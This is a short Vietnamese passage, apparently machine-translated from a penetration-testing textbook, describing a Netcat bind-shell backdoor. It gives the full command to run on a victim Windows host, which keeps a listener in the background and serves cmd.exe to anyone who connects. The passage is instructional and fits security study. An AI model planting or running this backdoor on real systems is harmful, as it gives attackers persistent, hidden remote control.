Phương thức kết nối đầu tiên truy cập backdoor của chúng tôi là thực hiện Netcat ở chế độ daemon và lắng nghe một kết nối đến Một khi các backdoor đang lắng nghe cho một kết nối đến, chúng ta khởi tạo kết nối từ hệ thống tấn công của chúng tôi Sau khi kết nối được thiết lập giữa các hệ thống tấn công và các nạn nhân của chúng tôi, một cái vỏ từ xa được cung cấp cho các hệ thống tấn công Sơ đồ dưới đây cho thấy phương thức kết nối này

Để thiết lập kịch bản này, chúng ta cần phải hiểu các lệnh sẽ được thực hiện trên các nạn nhân để tạo ra kênh backdoor của chúng tôi Các Netcat lệnh mà chúng ta

sẽ muốn thực hiện trên hệ thống khai thác của chúng tôi (chủ nhà nạn nhân) bằng cách

sử dụng phương pháp nghe là: c: \ nc.exe -d -L -p 1234 -e cmd.exe

–d Detach from console, background mode

–L Listen harder, re-listen on socket close

–e cmd.exe Inbound program to execute (Windows command shell)

Lợi ích của phương pháp này

Figure 2.12 Direct Connection to Backdoor

Ngày đăng: 19/06/2016, 20:31

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w